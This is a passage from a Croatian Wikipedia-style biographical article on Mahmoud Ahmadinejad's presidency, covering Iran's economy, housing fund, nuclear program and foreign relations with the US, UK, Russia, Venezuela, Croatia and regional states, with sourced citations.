|- | Promet i transport || [[Hamid Behbahani]] |- | Znanost, istraživanje i tehnologija || [[Kamran Danešju]] |- | Skrb i socijalna sigurnost || [[Fateme Adžorlu]] (nepotvrđena) |} == Domaća politika == === Gospodarstvo === Za vrijeme prve tri godine Ahmadinežadova mandata, iranski gospodarski rast iznosio je nešto manje od predviđenih 7.5% od strane centralne banke. Snažan gospodarski rast karakteriziraju visokoobrazovani kadar mladih ljudi i jačanje srednje klase. Inflacija i nezaposlenost su i dalje glavni iranski ekonomski problemi, zbog neodrživog izdvajanja i slabog gospodarskog menadžmenta<ref>{{Cite web |title=Entrepreneur: ''Tentative steps: Ahmadinejad's economic reform'' (Samantha Fang, jesen 2007.) |url=http://www.entrepreneur.com/tradejournals/article/172835081.html |access-date=2009-03-15 |archivedate=2008-11-23 |archiveurl=https://web.archive.org/web/20081123012920/http://www.entrepreneur.com/tradejournals/article/172835081.html |deadurl=yes }}</ref>. Ahmadinežad je povećao izdvajanja za 25% čime je subvencionirao prehrambene proizvode i benzin, te je odbacio mogućnost povećanja cijena fosilnih goriva, istaknuvši kako su vladini trenutačni prioriteti razvoj prometnog i transportnog sustava. Kamatne stope srezane su predsjedničkom odlukom zbog smanjenja inflacije. === Stanovanje === Jedan od prvih zakona Ahmadinežadove administracije bilo je osnivanje „Rezinog milosrdnog fonda“ (imenovanom po šijitskom imamu Aliju al-Rida) u koji je uloženo 12 bilijuna [[Iranski rijal|rijala]], odnosno oko 1.3 milijarde [[USD|dolara]]. Fond je osnovan za pomaganje mlađoj populaciji prilikom traženja posla i kupovine stana<ref>[http://irannegah.com/Video.aspx?id=593 Iran Negah: ''Imam Reza Love Fund'' (Video)]</ref>. Zakon je bio odogovor na visoke cijene stanova u urbanim područjima, što je pak povećavalo nacionalni prosjek ulaska u brak (trenutačno oko 25 godina za žene i 28 godina za muškarce). Iranski parlament je [[2006.]] odbacio prijedlog fonda, na što je Ahmadinežad uložio veto<ref>{{Cite web |title=Rooz: ''Reza's Compassion Fund; a political fund with 530 billion budget'' (perzijski jezik) |url=http://roozonline.com/01newsstory/016575.shtml |access-date=2009-03-15 |archivedate=2006-10-21 |archiveurl=https://web.archive.org/web/20061021102801/http://roozonline.com/01newsstory/016575.shtml |deadurl=yes }}</ref>. === Nuklearni program === Ahmadinežad je veliki pobornik [[Iranska nuklearna kriza|iranskog nuklearnog programa]], za koji tvrdi da služi u mirnodopske svrhe. Opetovano je tvrdio kako proizvodnja [[Nuklearna bomba|nuklearnog oružja]] ne spada u politiku njegove vlade. Dodao je kako bi takva politika bila „''ilegalna i protiv iranskih religijskih načela''“<ref>[http://www.bbc.co.uk/persian/iran/story/2006/01/060111_mj-ir-nuke-ahmadinejad.shtml BBC: ''Ahmadinežad o nuklearnoj tehnologiji'' (perzijski jezik)]</ref>, te kako država s kulturom, logikom i civilizacijom ne treba nuklearno oružje, za razliku od onih zemalja koji političke probleme rješavaju silom. U intervjuu 2008. godine Ahmadinežad je izjavio kako su zemlje koje pokušavaju napraviti nuklearno oružje „''politički nazadne države''“ i da ih proizvodnja novih generacija čini „''još nazadnijima''“<ref>{{Cite web |url=http://www.presstv.ir/detail.aspx?id=70404 |title=PressTV: Ahmadinejad: ''Nuke arms seekers politically backward'' (septembar, 2008.) |access-date=2013-06-16 |archive-date=2010-04-16 |archive-url=https://web.archive.org/web/20100416145737/http://www.presstv.ir/detail.aspx?id=70404 |url-status=dead }}</ref>. U aprilu 2006., Ahmadinežad je objavio kako je Iran uspješno rafinirao [[uranij]] do stupnja potrebnog za korištenje kao nuklearno gorivo. Prilikom govora pred studentima i profesorima u gradu [[Mašhad]]u, rekao je kako se iranska pozicija potpuno promijenila postajanjem nuklearne zemlje, i kako će ubuduće s te pozicije pregovarati s drugim državama<ref>{{Cite web |title=Arabic News: ''Ahmadinejad: Iran can now talk to world from vantage point of a nuclear state'' (april, 2006.) |url=http://www.arabicnews.com/ansub/Daily/Day/060413/2006041301.html |access-date=2009-03-15 |archive-date=2006-04-22 |archive-url=https://web.archive.org/web/20060422084214/http://www.arabicnews.com/ansub/Daily/Day/060413/2006041301.html |dead-url=yes }}</ref>. Iranska novinska agencija IRNA [[13. 4.]] [[2006.]] citirala je Ahmadinežadove riječi kako miroljubivi iranski nuklearni program ne predstavlja prijetnju baš nikome zato jer „''mi želimo mir i stabilnost i stoga nećemo nikome nanositi nepravdu, isto kao što nećemo dopustiti da se ista nepravda nanosi nama''“<ref>{{Cite web |title=Turks.us: ''Tehran: Ahmadinejad states Iran has nuclear right'' (januar, 2006.) |url=http://www.turks.us/article.php?story=Iran_nuclear_right |access-date=2013-06-16 |archivedate=2011-11-25 |archiveurl=https://web.archive.org/web/20111125090345/http://www.turks.us/article.php?story=Iran_nuclear_right |deadurl=yes }}</ref>. Bez obzira na Ahmadinežadovu veliku potporu nuklearnom programu, ured predsjednika nije odgovoran za nuklearnu politiku, već Vrhovno nacionalno sigurnosno vijeće. Vijeće uključuje dva člana koje predlaže vrhovni vođa, zatim vojne dužnosnike i članove izvršnih, sudskih i zakonodavnih vladinih grana. Godine [[2005.]] iranski vrhovni vođa [[Ali Hamenei]] donio je zakon o zabrani razvijanja nuklearnog oružja<ref>[http://www.rferl.org/featuresarticle/2005/6/C10D5293-86D9-4C7D-8B9F-1A252BC10D3E.html Radio Free Europe: ''Iran: Election Of Ahmadinejad Unlikely To Affect Nuclear Negotiations'' (juni, 2005.)]</ref>. [[Ali Hamenei|Hamenei]] najčešće izbjegava javne govore, no kritizirao je Ahmadinežadovu personalizaciju nuklearnog pitanja<ref>[http://timesofindia.indiatimes.com/NEWS/World/Rest_of_World/Iran_rebukes_its_prez_over_N-policy/articleshow/1319950.cms The Times of India: ''Iran rebukes its prez over N-policy'' (januar, 2007.)]</ref>. Ipak, izvori bliski iranskom predsjedniku tvrde kako su te kritike došle od bivšeg iranskog predsjednika Rafsandžanija. Ahmadinežad je [[23. 2.]] [[2008.]] obećao kako Iran neće odstupiti od nuklearnog programa, i kako je „''nuklearna tehnologija monopolizirana od strane nekolicine država''“<ref>[http://edition.cnn.com/2008/WORLD/meast/02/23/iran.jealous/index.html CNN: ''Ahmadinejad: Nations jealous of nuclear progress'' (februar, 2008.)]</ref>. Nabrojao je i najmanje 16 različitih mirnodopskih upotreba nuklearne tehnologije. == Međunarodni odnosi == === Odnosi s Sjedinjenim Državama === Tijekom Ahmadinežadovog predsjedništva, [[Iran]] i [[SAD]] imali su gotovo najintezivnije odnose u zadnjih 30 godina. Iran i SAD su prekinuli diplomatske odnose [[1980.]] i nije bilo diplomatskih kontakata sve do maja [[2007.]] godine<ref>[http://www.voanews.com/english/archive/2007-07/2007-07-17-voa49.cfm?CFID=140636747&CFTOKEN=78296978&jsessionid=66307115c452f78b903f2f313547356d2545 VOA News: ''US Ready For Another Meeting With Iran'' (David Gollust, juli, 2007.)]</ref>. Dok je američko stajalište kako buduća palestinska država mora prihvatiti izraelsko „pravo na postojanje“, iranski predsjednik Mahmud Ahmadinežad predložio je premiještanje Izraela u [[Europa|Europu]], [[Kanada|Kanadu]] ili [[Aljaska|Aljasku]]<ref>[http://www.ynetnews.com/articles/0,7340,L-3456554,00.html Ynet News: ''Ahmadinejad: Referendum on transfer of Israel to Europe'' (oktobar, 2007.)]</ref>. SAD je slao Iranu jasne političke signale u kojima je osuđivao negiranje „izraelskog prava na postojanje“, pri čemu su se pojavile špekulacije o američki predvođenom napadu na iranska nuklearna postrojenja. Iako je Iran negirao poticanje pobune u [[Irak]]u, bivši američki predsjednik [[George W. Bush]] upozorio je Iran o „ozbiljnim posljedicama“, odnosno o mogućnosti napada. Američki predsjednik optužio je Iran i za „sponzoriranje terorizma“ u svijetu<ref>{{Cite web |title=US Department: ''State Sponsors of Terrorism'' |url=http://www.state.gov/s/ct/c14151.htm |access-date=2005-02-09 |archivedate=2005-02-09 |archiveurl=https://web.archive.org/web/20050209104919/http://www.state.gov/s/ct/c14151.htm |deadurl=no }}</ref>, što su Iranci kategorično odbacili ističući kako ne postoje iranske terorističke grupe, te su optužili SAD i [[UK]] za sponzoriranje balučke [[Terorizam|terorističke grupe]] [[Jundallah]] koja iz [[Pakistan]]a djeluje protiv Irana<ref>{{Cite web |url=http://www.infowars.com/iran-says-has-proof-us-uk-backing-terrorist-jundollah/ |title=Reuters: ''Iran says has proof U.S., UK backing terrorist Jundollah'' (InfoWars.com, decembar 2008.) |access-date=2009-03-15 |archive-date=2009-02-11 |archive-url=https://web.archive.org/web/20090211025535/http://www.infowars.com/iran-says-has-proof-us-uk-backing-terrorist-jundollah/ |url-status=dead }}</ref>. U maju [[2006.]] godine, Ahmadinežad je poslao osobno pismo američkom predsjedniku Bushu i predložio mu ''nove smjerove'' za okončanje [[Iranska nuklearna kriza|iranske nuklearne krize]]. Američka državna tajnica [[Condoleezza Rice]] i savjetnik nacionalne sigurnosti Stephen Hadley su pregledali pismo i odbacili ga s obrazloženjem kako ne nudi rješenja zbog kojih je američka administracija zabrinuta<ref>[http://www.washingtonpost.com/wp-dyn/content/article/2006/05/08/AR2006050800141.html Washington Post: ''No Proposals in Iranian's Letter to Bush, U.S. Says'' (maj, 2006.)]</ref>. Nekoliko dana poslije Ahmadinežad je prilikom posjeta [[Jakarta|Jakarti]] izjavio kako je ''pismo poziv na monoteizam i pravdu''. Ahmadinežad je pozvao američkog predsjednika Busha na debatu pred Generalnom skupštinom UN-a koja se trebala održati [[19. 9.]] [[2006.]] godine, na temu iranskog prava na obogaćivanje uranija. Poziv je odmah odbacio glasnogovornik Bijele kiće Tony Snow koji je objavio kako neće biti takve debate između američkog i iranskog predsjednika<ref>[http://edition.cnn.com/CNN/Programs/situation.room/blog/2006/09/no-steel-cage-grudge-match-between.html CNN: ''No 'steel-cage, grudge match' between Bush, Ahmadinejad'' (septembar, 2006.)]</ref>. U novembru 2006. Ahmadinežad je poslao otvoreno pismo američkom narodu<ref>{{Cite web |url=http://edition.cnn.com/2006/WORLD/meast/11/29/ahmadinejad.letter |title=CNN: ''Ahmadinejad's letter to Americans'' (novembar, 2006.) |access-date=2009-03-15 |archive-date=2017-05-17 |archive-url=https://web.archive.org/web/20170517093758/http://edition.cnn.com/2006/WORLD/meast/11/29/ahmadinejad.letter/ |url-status=dead }}</ref> u kojem je obrazložio svoje brige. U pismu se navodi kako se hitno treba postići dijalog zbog neprihvatljive američke politike na [[Bliski istok|Bliskom istoku]], te kako američka administracija krije istinu o stvarnim događajima<ref>[http://www.foxnews.com/projects/pdf/iran_pres_letter.pdf Fox News: Pismo iranskog predsjednika (PDF format)]</ref>. [[Senat SAD|Američki senat]] izglasao je rezoluciju kojom se upozorava Iran zbog navodnih napada u Iraku. Krajem septembra 2007. godine američki senat izglasao je rezoluciju (76 glasa za i 22 protiv) kojom se iranska vojna grana [[Pasdaran]] izjednačava s terorističkom organizacijom<ref>[http://www.ustreas.gov/press/releases/hp644.htm Ustreas.gov: ''Fact Sheet: Designation of Iranian Entities and Individuals for Proliferation Activities and Support for Terrorism'' (oktobar, 2007.)]</ref>. Kao odgovor na taj čin, iranski parlament odgovorio je proglašenjem CIA i američke vojske terorističkom organizacijom zbog „''korištenja nuklearnih bombi u napadu na [[Japan]], zbog korištenja osiromašenog uranija na [[Balkan]]u, te zbog pokolja u [[Irak]]u''“<ref>[http://www.cbsnews.com/stories/2007/09/29/world/main3311480.shtml CBS News: ''Iran To U.S.: No, You're The Terrorists'' (septembar, 2007.)]</ref>. U septembru [[2007.]] Ahmadinežad je posjetio [[New York]] gdje se obratio Generalnoj skupštini Ujedinjenih Naroda. Prije toga, održao je govor na sveučilištu Columbia, gdje ga je sveučilišni predsjednik Lee Bollinger u uvodnom govoru otvoreno kritizirao nazvavši ga ''okrutnim diktatorom'' i ''začuđujuće neobrazovanim''. Prilikom postavljanja studentskih pitanja, na upit o odnosu prema [[Homoseksualnost|homoseksualcima]] u Iranu odgovorio je: „''Kod nas nema homoseksualaca kao u vašoj zemlji. Kod nas ne postoji taj fenomen, ne znam tko vam je rekao da toga ima kod nas''“. Kasnije je objasnio kako ga je prevoditelj krivo protumačio te kako je rekao: „''U usporedbi s američkim društvom, mi nemamo toliko puno homoseksualaca''“<ref>[http://www.reuters.com/article/worldNews/idUSBLA05294620071010 Reuters: ''President misquoted over gays in Iran: aide'' (oktobar, 2007.)]</ref>. U govoru održanom u aprilu [[2008.]], Ahmadinežad je opisao [[Napadi 11. rujna 2001.|napade 11. 9.]] kao „sumnjivi događaj“, navodeći kako broj žrtava i njihova imena nikada nisu objavljena, te kako su napadi služili kao opravdanje za invazije na [[Afganistan]] i [[Irak]] u kojima je poginulo milijun ljudi<ref>[http://news.bbc.co.uk/2/hi/middle_east/7350830.stm BBC: ''Ahmadinejad: 9/11 suspect event'' (april, 2008.)]</ref>. U oktobru [[2008.]], predsjednik Ahmadinežad opisao je svjetsku [[Gospodarska kriza|gospodarsku krizu]] kao „propast liberalizma“. Dodao je kako egocentričnost [[Zapadni svijet|Zapadnog svijeta]] vodi prema njihovoj propasti i kako je sretan jer to otvara mogućnosti napretka za ostatak svijeta<ref>[http://mathaba.net/news/?x=610339 Mathaba: ''Iran mulling dynamic, progressive economy, prez'' (oktobar, 2008.)]</ref>. Prilikom govora održanog u septembru 2008. na Generalnoj skupštini UN-a izjavio je kako „''Američko carstvo propada i kako će budući američki vođe morati ograničiti svoje djelovanje na vlastite granice''“<ref>[http://www.un.org/ga/63/generaldebate/pdf/iran_en.pdf UN.org: Glavna rasprava - iranski predsjednik dr. Mahmud Ahmadinežad (septembar, 2008.)]</ref>. U novembru [[2008.]], dan poslije [[Predsjednički izbori u Sjedinjenim Američkim Državama 2008.|američkih predsjedničkih izbora]], Ahmadinežad je čestitao [[Barack Obama|Baracku Obami]] na izbornoj pobjedi, ističući kako „pozdravlja temeljne i pravedne promjene u američkoj politici i kako se nada promjeni odnosa prema pohlepnoj manjini“. Bila je to prva iranska čestitka novoizabranom američkom predsjedniku od iranske Islamske revolucije [[1979.]] godine<ref>[http://www.isna.ir/ISNA/NewsView.aspx?ID=News-1229946&Lang=E ISNA: ''Ahmadinejad calls for Obama to change US policies fundamentally'' (novembar, 2007.)]</ref>. === Odnosi s Velikom Britanijom === [[Datoteka:IranEmbassyUK.JPG|mini|desno|200px|Iransko veleposlanstvo u [[London]]u.]] Unatoč zategnutim političkim odnosima s [[Ujedinjeno Kraljevstvo|Velikom Britanijom]] koji traju od iranske revolucije [[1979.]], gospodarska suradnja dviju zemalja raste iz godine u godinu, zbog liberalizacije iranskog tržišta<ref>[http://www.nytimes.com/2006/01/22/world/americas/22iht-allies.html?_r=1 New York Times: ''Hint of Iran sanctions tugs at trade ties'' (januar, 2006.)]</ref>. Odnosi dviju zemalja dosegli su najnižu točku [[23. 3.]] [[2007.]] kada su [[Oružane snage Irana]] na iransko-iračkoj morskoj granici zarobili 15 pripadnika britanske kraljevske mornarice. Britanski izvori tvrdili su kako su zarobljeni u iračkim vodama, dok su iranski tvrdili kako su Britanci bili 450 m unutar iranskih teritorijalnih voda<ref>[http://www.bbc.co.uk/persian/iran/story/2007/03/070329_mf_gps_conflict.shtml BBC: Iran pokazao navigacijske karte (perzijski jezik)]</ref>. Nakon 12 dana političkog i medijskog prepucavanja između dviju država, britanski mornari oslobođeni su [[4. 4.]] [[2007.]]. Njihovo puštanje na slobodu Ahmadinežad je opisao „uskršnjim poklonom“ britanskom narodu<ref>[http://www.usatoday.com/news/world/2007-04-04-britain-iran-talks_N.htm USA Today: ''Iran to release 15 captives as Easter gift'' (april, 2007.)]</ref>. ''Sunday Telegraph'' je objavio kako je [[3. 4.]] [[2006.]] održan sastanak visokih britanskih političkih i vojnih dužnosnika koji su raspravljali o napadu na Iran<ref>{{Cite web |title=Sunday Telegraph (april, 2006.) |url=http://www.telegraph.co.uk/news/main.jhtml?xml=%2Fnews%2F2006%2F04%2F02%2Fwiran02.xml |access-date=2021-08-31 |archivedate=2008-04-14 |archiveurl=https://web.archive.org/web/20080414192318/http://www.telegraph.co.uk/news/main.jhtml?xml=%2Fnews%2F2006%2F04%2F02%2Fwiran02.xml |deadurl=yes }}</ref>. === Odnosi s Rusijom === [[Datoteka:Vladimir Putin in Iran 16-17 October 2007-2.jpg|mini|desno|200px|Ahmadinežad s [[Vladimir Putin|Vladimirom Putinom]] u [[Teheran]]u, [[16. 10.]] [[2007.]]]] Ahmadinežad je od početka mandata pokrenuo jačanje odnosa s [[Rusija|Rusijom]], još u oktobru [[2005.]] otvorio je poseban ured za njihove bilateralne odnose. Rusija je sedmi po redu najveći ekonomski partner Irana, a gospodarska suradnja iznosi preko milijardu dolara godišnje<ref>{{Cite web |url=http://www.payvand.com/news/06/may/1046.html |title=Payvand: ''The Cost of Economic Sanctions on Major Exporters to Iran'' (maj, 2006.) |access-date=2009-03-15 |archive-date=2011-07-09 |archive-url=https://web.archive.org/web/20110709163548/http://www.payvand.com/news/06/may/1046.html |url-status=dead }}</ref>. Surađivao je s ruskim predsjednikom [[Vladimir Putin|Vladimirom Putinom]] na slučaju [[Iranska nuklearna kriza|iranskog nuklearnog programa]], te na nerješenim pitanjima razgraničenja [[Kaspijsko jezero|Kaspijskog]] mora za koje su se usuglasili kako je potrebnija jača zajednička suradnja<ref>{{Cite web |url=http://www.payvand.com/news/05/sep/1139.html |title=Payvand: ''Presidents of Iran and Russia consider Tehran-Moscow cooperation important for world peace'' (septembar, 2005.) |access-date=2013-06-16 |archive-date=2008-12-12 |archive-url=https://web.archive.org/web/20081212001950/http://www.payvand.com/news/05/sep/1139.html |url-status=dead }}</ref>. Iako službena [[Moskva]] zajedno s zapadnim silama stoji protiv iranskog korištenja nuklearnog programa u vojne svrhe, najveći je iranski saveznik u razvijanju civilnog nuklearnog programa. Ruske tvrtke dovršile su izgradnju iranske nuklearne elektrane u gradu [[Bušeher]] na jugozapadu Irana<ref>{{Cite web |title=VOA News: ''Iranian, Russian Technicians Test Bushehr Nuclear Plant'' (februar, 2009.) |url=http://www.voanews.com/english/2009-02-25-voa25.cfm |access-date=2009-02-27 |archivedate=2009-02-27 |archiveurl=https://web.archive.org/web/20090227115818/http://www.voanews.com/english/2009-02-25-voa25.cfm |deadurl=no }}</ref>, a u decembru [[2007.]] Rusija je počela isporučivati nuklearno gorivo kao način uvjeravanja Irana da odustane od samostalnog obogaćivanja [[uranij]]a. Unatoč velikom protivljenju zapadnih sila i [[Izrael]]a, ruski predsjednik [[Vladimir Putin]] u oktobru [[2007.]] posjetio je iranski glavni grad [[Teheran]] kao prvi ruski lider nakon [[Josif Staljin|Staljina]] [[1943.]] godine<ref>[http://www.index.hr/vijesti/clanak/putin-u-posjetu-iranu/361792.aspx Index.hr: „Putin u posjetu Iranu“ (oktobar, 2007.)]</ref>. Ruski predsjednik pritom je dao potporu iranskom nuklearnom programu, pohvalio iranski doprinost Šangajskoj grupi za suradnju ([[SCO]])<ref>[http://www.presstv.ir/detail.aspx?id=73798&sectionid=351020101 PressTV: ''Putin lauds Iran's SCO contribution'' (oktobar, 2008.)]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>, te je oštro osudio mogući američki napad na Iran nazvavši ga „napadom na Rusiju“<ref>{{Cite web |url=http://www.presstv.ir/detail.aspx?id=28839&sectionid=351020101 |title=PressTV: ''Russia: Attacking Iran is attacking us'' (oktobar, 2008.) |access-date=2009-03-15 |archive-date=2008-03-27 |archive-url=https://web.archive.org/web/20080327023028/http://www.presstv.ir/detail.aspx?id=28839&sectionid=351020101 |url-status=dead }}</ref>. === Odnosi s Venecuelom === Ahmadinežad je pojačao odnose s [[Venecuela|Venecuelom]] (najvećim [[Latinska Amerika|latinoameričkim]] izvoznikom [[nafta|nafte]] i članicom [[OPEC]]-a) u energetskoj i političkoj sferi, zbog obostranog otpora američkoj vanjskoj politici kojeg vode i Ahmadinežad i venecuelanski predsjednik [[Hugo Chavez]]<ref name="cnsnews-ruj07">[http://www.cnsnews.com/Public/Content/Article.aspx?rsrcid=18632 CNS News: ''Ahmadinejad Visits Anti-US Allies in Latin America'' (Leandro Prada, septembar, 2007.)]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>. Venecuela je dala potporu iranskom nuklearnom programu pri sjednici [[UN|Ujedinjenih Naroda]] na tu temu, a obje zemlja dogovorile su se kako će pojačati bilateralnu trgovinu<ref>{{Cite web |title=Mathaba: ''Venezuela, Iran review signed bilateral agreements'' (septembar, 2007.) |url=http://www.mathaba.net/news/?x=565699 |access-date=2013-06-16 |archivedate=2015-06-08 |archiveurl=https://web.archive.org/web/20150608083431/http://www.mathaba.net/news/?x=565699 |deadurl=yes }}</ref>. Tokom [[2006.]] godine odnosi dviju zemalja bili su više strateški nego ekonomski<ref name="cnsnews-ruj07"/>, jer Venecuela još nije postala jednim od glavnih iranskih trgovinskih partnera. Intezivnija suradnja na energetskom području počela je 2006. kada je Iran objavio kako će u Venecueli graditi rafineriju nafte<ref>{{Cite web |url=http://www.payvand.com/news/06/jun/1013.html |title=Payvand: ''Iran to build oil refinery in Venezuela'' (juni, 2006.) |access-date=2009-03-15 |archive-date=2008-12-10 |archive-url=https://web.archive.org/web/20081210155325/http://www.payvand.com/news/06/jun/1013.html |url-status=dead }}</ref>. Početkom 2007. objavljeno je kako Iran i Venecuela planiraju osnovati anti-američki fond u vrijednosti dvije milijarde dolara kojim će pomagati zemlje u razvoju koje također protive američkoj dominaciji<ref>[http://www.usatoday.com/news/world/2007-01-14-iran-venezuela_x.htm USA Today: ''Iran and Venezuela plan anti-U.S. fund'' (januar, 2007.)]</ref>. === Odnosi s Hrvatskom === Ahmadinežad se dvaput susreo s hrvatskim predsjednikom [[Stjepan Mesić|Stjepanom Mesićem]]. Prvi susret dogodio se u septembru [[2005.]] prilikom 60. opće skupštine [[UN]]-a u [[New York]]u, gdje je Mesić naglasio kako je [[Iranska nuklearna kriza|iranski nuklearni program]] potpuno mirnodopski odnosno da služi isključivo u energetske svrhe<ref name="uredRH16.09.2005.">{{Cite web |title=Ured predsjednika RH - 16.09.2005. - New York |url=http://www.predsjednik.hr/default.asp?ru=181&gl=200509190000005&sid=&jezik=1 |access-date=2013-06-16 |archivedate=2007-06-11 |archiveurl=https://web.archive.org/web/20070611104347/http://www.predsjednik.hr/default.asp?ru=181&gl=200509190000005&sid=&jezik=1 |deadurl=yes }}</ref>. Također, pozvao je iranskog predsjednika da posjeti [[Hrvatska|Hrvatsku]]<ref name="uredRH16.09.2005."/>. Nakon razgovora, dodao je kako Hrvatska bez obzira na prioritete poput ulaska u [[EU]] mora razvijati dobre odnose i s drugim državama svijeta. Drugi susret dogodio se također u New Yorku točno dvije godine poslije (septembar [[2007.]]) kada su se dvojica predsjednika sastala na zahtjev iranske strane. Na sastanku se Mesić distancirao od Ahmadinežadovih izjava o holokaustu za koje ga se optužuje, no naglasio je kako je iranski predsjednik iste opovrgnuo, te da su razgovarali uglavnom o drugim temama<ref>[http://www.predsjednik.hr/default.asp?ru=331&gl=200709270000004&sid=&jezik=1 Ured predsjednika RH - 26.09.2007. - New York]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>. Nakon razgovora, hrvatski premijer [[Ivo Sanader]] izjavio je kako vjeruje da je „Mesić imao dobre razloge za taj sastanak, te da ne bi učinio ništa što bi naškodilo Hrvatskoj“<ref>{{Cite web |url=http://mojportal.hr/portal/politika/sanader_sastanak_mesica_s_iranskim_predsjednikom_mahmudom_ahmadinedzadom_ne_moze_stetiti_hrvatskoj |title=MojPortal.hr: ''Sanader: Sastanak Mesića s iranskim predsjednikom Mahmudom Ahmadinedžadom ne može štetiti Hrvatskoj'' (septembar, 2007.) |access-date=2013-06-16 |archive-date=2021-04-14 |archive-url=https://web.archive.org/web/20210414180145/https://www.mojportal.hr/portal/politika/sanader_sastanak_mesica_s_iranskim_predsjednikom_mahmudom_ahmadinedzadom_ne_moze_stetiti_hrvatskoj/ |url-status=dead }}</ref>. Krajem [[2007.]] Ahmadinežad je na inauguraciji novog [[Hrvatska|hrvatskog]] veleposlanika u [[Teheran]]u pozdravio suradnju dviju zemalja te dodao kako Hrvatska i Iran dijele identičnu kulturu i povijest, aludirajući pritom na teoriju o [[Iranska teorija o podrijetlu Hrvata|iranskom podrijetlu Hrvata]] koja bi trebala učvstiti bilateralne odnose<ref>[http://www.spokesman.gov.ir/en/index.php?option=com_content&task=view&id=818&Itemid=58 ''Ahmadinejad calls for expansion of Iran-Croatia ties'' (Spokesman.gov.ir)]{{Dead link|date=October 2022 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>. === Odnosi s zemljama u regiji === ==== Afganistan ==== Ahmadinežad je posjetio [[Afganistan]] u augustu [[2007.]] gdje ga je dočekao afganistanski predsjednik [[Hamid Karzai]]. Ahmadinežad je na sastanku rekao kako je iranski cilj „stabilni i moderni Afganistan“<ref>[http://www.globalsecurity.org/military/library/news/2007/08/mil-070814-rianovosti01.htm RIA Novosti: ''Ahmadinejad: Iran favors stable Afghanistan'' (Globalsecurity.org, august 2007.)]</ref>, te je odbacio američke optužbe kako Iran šalje oružje afganistanskim militantima, što je potvrdio i Karzai nazvavši Iran „saveznikom i prijateljem u borbi protiv terorizma i trgovine drogom“<ref>[http://www.guardian.co.uk/world/2007/aug/14/iran.afghanistan Guardian: ''Ahmadinejad's first Afghan visit ruffles US feathers'' (Robert Tait, august 2007.)]</ref>. ==== Irak ==== Ahmadinežad je prvi iranski predsjednik koji je od revolucije [[1979.]] posjetio [[Irak]]<ref>[http://irannegah.com/Video.aspx?id=506 Iran Negah: ''Ahmadinejad visits Iraq'' (Video)]</ref>. Prilikom povijesnog dvodnevnog posjeta [[2. 3.]] [[2008.]] rekao je kako je „''Irak mnogo bolji bez diktatora [[Sadam Husein|Sadama Huseina]]''“<ref>[http://edition.cnn.com/2008/WORLD/meast/03/02/iraq.ahmadinejad/index.html CNN: ''Iran president on landmark Iraq visit'' (mart, 2008.)]</ref>. Na povratku iz [[Bagdad]]a u [[Teheran]] pozdravio je jačanje bilateralnih odnosa s Irakom, te je optužio [[SAD|američku]] politiku prema Iraku. Od [[2006.]] godine irački premijer [[Nouri al-Maliki]] četiri je puta posjetio Teheran<ref>{{Cite web |url=http://www.presstv.ir/detail.aspx?id=80088&sectionid=351020101 |title=PressTV: ''Al-Maliki to visit Tehran Saturday'' (januar, 2009.) |access-date=2009-03-15 |archive-date=2009-01-05 |archive-url=https://web.archive.org/web/20090105183341/http://www.presstv.ir/detail.aspx?id=80088&sectionid=351020101 |url-status=dead }}</ref>, kao i irački predsjednik [[Jalal Talabani]]. Prilikom navedenih posjeta dogovorene su suradnje na području trgovine i energetike<ref>[http://www.thenews.com.pk/updates.asp?id=69889 The News: ''Iraqi president Talabani arrives Tehran'' (februar, 2009.)]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>, te sigurnosti u Iraku. Premijer al-Maliki dao je jamstvo Teheranu kako iračko-američki pakt o sigurnosti neće ugroziti Iran<ref>[http://rss.xinhuanet.com/newsc/english/2008-06/10/content_8335730.htm Xinhua: ''Iraq's al-Maliki visits Iran to reassure Tehran over pact with U.S.'' (juni, 2008.)]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>, i odbacio je američke tvrdnje kako Iran podržava iračke militante<ref>{{Cite web |title=VOA News: „Iran obećao pomoć na unapredjenju sigurnosti u Iraku“ (august, 2008.) |url=http://www.voanews.com/bosnian/archive/2007-08/2007-08-09-voa3.cfm |access-date=2011-10-07 |archivedate=2011-10-07 |archiveurl=https://web.archive.org/web/20111007183111/http://www.voanews.com/bosnian/archive/2007-08/2007-08-09-voa3.cfm |deadurl=no }}</ref>. Irački predsjednik Talabani u razgovoru s Ahmadinežadom nazvao je Iran „iračkim partnerom u borbi protiv terorizma“<ref>[http://news.bbc.co.uk/2/hi/middle_east/4457568.stm BBC: ''Talabani trusts in Iran support'' (novembar, 2005.)]</ref>. ==== Izrael ==== Prilikom održavanja konferencije „Svijet bez [[Cionizam|cionizma]]“ u [[Teheran]]u [[26. 10.]] [[2005.]], Ahmadinežad je održao govor u kojem je citirao [[Ruholah Homeini|Homeinijeve]] riječi o Izraelu kako ''okupatorski režim'' mora biti uklonjen, opisujući ga kao ''sramotnu mrlju u islamskom svijetu'' koja mora ''nestati sa povijesnih stranica''<ref>[http://www.nytimes.com/2005/10/30/weekinreview/30iran.html?ex=1161230400&en=26f07fc5b7543417&ei=5070 New York Times: ''Text of Mahmoud Ahmadinejad's Speech'' (Nazila Fathi, oktobar 2005.)]</ref>. Medijske agencije diljem svijeta prenijele su tu vijest pod naslovom „''Izrael treba izbrisati s karte svijeta''“ ([[engleski]]: ''Israel must be wiped off the map''), koristeći pritom englesku frazu koja podrazumijeva potpuno uništenje<ref>{{Cite web |title=Dictionary definition: ''wipe off the map'' (Cambridge.org) |url=http://dictionary.cambridge.org/define.asp?key=90861&dict=CALD |access-date=2009-03-15 |archivedate=2009-06-02 |archiveurl=https://web.archive.org/web/20090602161503/http://dictionary.cambridge.org/define.asp?key=90861&dict=CALD |deadurl=yes }}</ref>. Prijevod njegovih rečenica vrlo je diskutabilan. Iranski ministar vanjskih poslova izjavio je kako je Ahmadinežad bio pogrešno protumačen: „''Govorio je o režimu. Mi ne priznajemo ovaj izraelski režim''“<ref name="archive.is"/>. Ahmadinežadove komentare osudile su vodeće zapadne zemlje, [[EU|Europska Unija]], [[Rusija]], Vijeće sigurnosti [[UN|Ujedinjenih Naroda]]-a i tadašnji glavni tajnik UN-a [[Kofi Annan]]<ref>[http://news.bbc.co.uk/1/hi/world/middle_east/4384024.stm BBC: ''Annan dismayed by Iran remarks'' (oktobar, 2005.)]</ref>. 